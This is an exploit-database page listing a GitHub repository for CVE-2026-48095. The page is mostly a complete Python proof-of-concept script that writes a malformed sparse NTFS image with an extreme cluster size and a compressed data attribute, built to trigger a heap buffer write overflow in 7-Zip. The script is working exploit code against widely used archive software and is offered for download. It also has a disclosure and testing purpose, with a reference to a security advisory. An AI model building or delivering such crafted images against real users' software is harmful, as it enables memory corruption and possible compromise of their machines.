Exploit databaseDownload repository ZIP
GH-632e7a59026b7f8eedff2155187d3ec7
horkimhab/cve-2026-48095
Sources for CVE-2026-48095
1 sourcePreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.
Repository files5
horkimhab/cve-2026-48095Revision 85238c2c41d3
- .gitignore
- GHSL-2026-140_ Heap Buffer Write Overflow in 7-Zip _ GitHub Security Lab.pdf
- LICENSE
- README.md
- cve-2026-48095.py
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
cve-2026-48095.py
Python · 4,639 bytes#!/usr/bin/env python3
"""Generate a sparse NTFS image with ClusterSizeLog=28 and a compressed
$DATA attribute with CompressionUnit=4 to trigger GetCuSize() UB.
Ref: https://securitylab.github.com/advisories/GHSL-2026-140_7-Zip/
"""
import struct, os, sys
boot = bytearray(512)
boot[0:3] = b'\xEB\x52\x90'
boot[3:11] = b'NTFS '
struct.pack_into('<H', boot, 11, 512)
boot[13] = 0xED # ClusterSizeLog = 28
for i in range(14, 21): boot[i] = 0
boot[21] = 0xF8
struct.pack_into('<H', boot, 24, 63)
struct.pack_into('<H', boot, 26, 255)
struct.pack_into('<Q', boot, 40, 2 << 19) # TotalSectors
struct.pack_into('<Q', boot, 48, 1) # MftCluster=1 -> offset 256MB
boot[64] = 0xF6
boot[68] = 0xF6
struct.pack_into('<Q', boot, 72, 0x1234567890ABCDEF)
boot[510] = 0x55; boot[511] = 0xAA
MFT_REC = 1024
def mft_rec(seq, flags, attrs, rec_num=0):
r = bytearray(MFT_REC)
r[0:4] = b'FILE'
struct.pack_into('<H', r, 4, 0x30) # UpdateSequenceOffset
struct.pack_into('<H', r, 6, 3) # UpdateSequenceSize
struct.pack_into('<Q', r, 8, 0)
struct.pack_into('<H', r, 16, seq)
struct.pack_into('<H', r, 18, 1)
struct.pack_into('<H', r, 20, 0x38)
struct.pack_into('<H', r, 22, flags)
bytes_in_use = (0x38 + len(attrs) + 8 + 7) & ~7
struct.pack_into('<I', r, 24, bytes_in_use)
struct.pack_into('<I', r, 28, MFT_REC)
struct.pack_into('<I', r, 0x2C, rec_num)
r[0x38:0x38+len(attrs)] = attrs
struct.pack_into('<I', r, 0x38+len(attrs), 0xFFFFFFFF)
usn = 0x0001
struct.pack_into('<H', r, 0x30, usn)
orig0 = struct.unpack_from('<H', r, 510)[0]
orig1 = struct.unpack_from('<H', r, 1022)[0]
struct.pack_into('<H', r, 0x32, orig0)
struct.pack_into('<H', r, 0x34, orig1)
struct.pack_into('<H', r, 510, usn)
struct.pack_into('<H', r, 1022, usn)
return r
def std_info():
d = bytearray(48)
a = bytearray(24 + len(d))
struct.pack_into('<I', a, 0, 0x10)
struct.pack_into('<I', a, 4, len(a))
a[8] = 0
struct.pack_into('<H', a, 14, 0x18)
struct.pack_into('<I', a, 16, len(d))
a[24:24+len(d)] = d
return a
def filename(name):
nu = name.encode('utf-16-le')
fn = bytearray(66 + len(nu))
struct.pack_into('<Q', fn, 0, 5)
fn[64] = len(name)
fn[65] = 3
fn[66:66+len(nu)] = nu
raw_len = 24 + len(fn)
padded_len = (raw_len + 7) & ~7
a = bytearray(padded_len)
struct.pack_into('<I', a, 0, 0x30)
struct.pack_into('<I', a, 4, padded_len)
a[8] = 0
struct.pack_into('<H', a, 14, 0x18)
struct.pack_into('<I', a, 16, len(fn))
a[24:24+len(fn)] = fn
return a
def compressed_data():
rl = bytes([0x11, 0x01, 0x01, 0x00]) # 1 cluster at LCN 1
hdr_size = 0x48
sz = (hdr_size + len(rl) + 7) & ~7
a = bytearray(sz)
struct.pack_into('<I', a, 0, 0x80)
struct.pack_into('<I', a, 4, sz)
a[8] = 1
struct.pack_into('<Q', a, 0x10, 0) # LowVcn
struct.pack_into('<Q', a, 0x18, 0) # HighVcn
struct.pack_into('<H', a, 0x20, hdr_size) # RunlistOffset
a[0x22] = 4 # CompressionUnit = 4
cs = 1 << 28
struct.pack_into('<Q', a, 0x28, cs) # AllocatedSize
struct.pack_into('<Q', a, 0x30, 100) # Size
struct.pack_into('<Q', a, 0x38, 100) # InitializedSize
struct.pack_into('<Q', a, 0x40, cs) # PackSize
a[hdr_size:hdr_size+len(rl)] = rl
return a
def mft_data_attr(num_records):
rl = bytes([0x11, 0x01, 0x01, 0x00])
sz = (72 + len(rl) + 7) & ~7
a = bytearray(sz)
struct.pack_into('<I', a, 0, 0x80)
struct.pack_into('<I', a, 4, sz)
a[8] = 1
struct.pack_into('<Q', a, 16, 0)
struct.pack_into('<Q', a, 24, 0)
struct.pack_into('<H', a, 32, 0x40)
struct.pack_into('<H', a, 34, 0) # CompressionUnit = 0
data_size = num_records * MFT_REC
struct.pack_into('<Q', a, 40, 1 << 28)
struct.pack_into('<Q', a, 48, data_size)
struct.pack_into('<Q', a, 56, data_size)
a[0x40:0x40+len(rl)] = rl
return a
num_mft_records = 7
mft = mft_rec(1, 1, std_info() + mft_data_attr(num_mft_records), rec_num=0)
for i in range(1, 5):
mft += mft_rec(i+1, 1, std_info(), rec_num=i)
mft += mft_rec(1, 3, std_info(), rec_num=5) # root dir
mft += mft_rec(1, 1, std_info() + filename("test.txt") + compressed_data(), rec_num=6)
mft_off = 1 << 28 # 256 MB
phy_size = 2 << 28 # 512 MB
out = sys.argv[1] if len(sys.argv) > 1 else "poc_ntfs_sparse.ntfs"
with open(out, 'wb') as f:
f.write(boot)
f.seek(mft_off)
f.write(mft)
f.seek(phy_size - 1)
f.write(b'\x00')
print(f"Generated: {out} ({os.stat(out).st_size} bytes apparent)")